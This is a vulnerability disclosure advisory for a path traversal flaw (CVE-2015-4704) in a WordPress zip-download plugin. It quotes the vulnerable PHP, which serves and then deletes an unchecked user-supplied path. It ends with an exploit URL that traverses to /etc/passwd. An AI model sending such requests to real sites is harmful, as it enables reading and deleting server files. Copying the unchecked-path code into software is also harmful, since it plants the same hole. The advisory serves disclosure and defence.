Title: Remote file download vulnerability in download-zip-attachments v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2015-06-10
Download Site: https://wordpress.org/plugins/download-zip-attachments/
Vendor: rivenvirus
Vendor Notified: 2015-06-15
Vendor Contact: https://profiles.wordpress.org/rivenvirus/
Advisory: http://www.vapid.dhs.org/advisory.php?v=129
Description:
Download all attachments from the post into a zip file.
Vulnerability:
from download-zip-attachments/download.php makes no checks to verify the download path is with in the specified upload directory.
<?php
if(isset($_REQUEST['File']) && !empty($_REQUEST['File'])){
define('WP_USE_THEMES', false);
require('../../../wp-load.php');
require "create_zip_file.php";
$uploads = wp_upload_dir();
$tmp_location = $uploads['path']."/".$_REQUEST['File'];
//echo $tmp_location;
$zip = new CreateZipFile;
$zip->forceDownload($tmp_location,false);
unlink($tmp_location);
exit;
}
CVEID: 2015-4704
OSVDB:
Exploit Code:
? http://www.example.com/wp-content/plugins/download-zip-attachments/download.php?File=../../../../../../../../etc/passwd
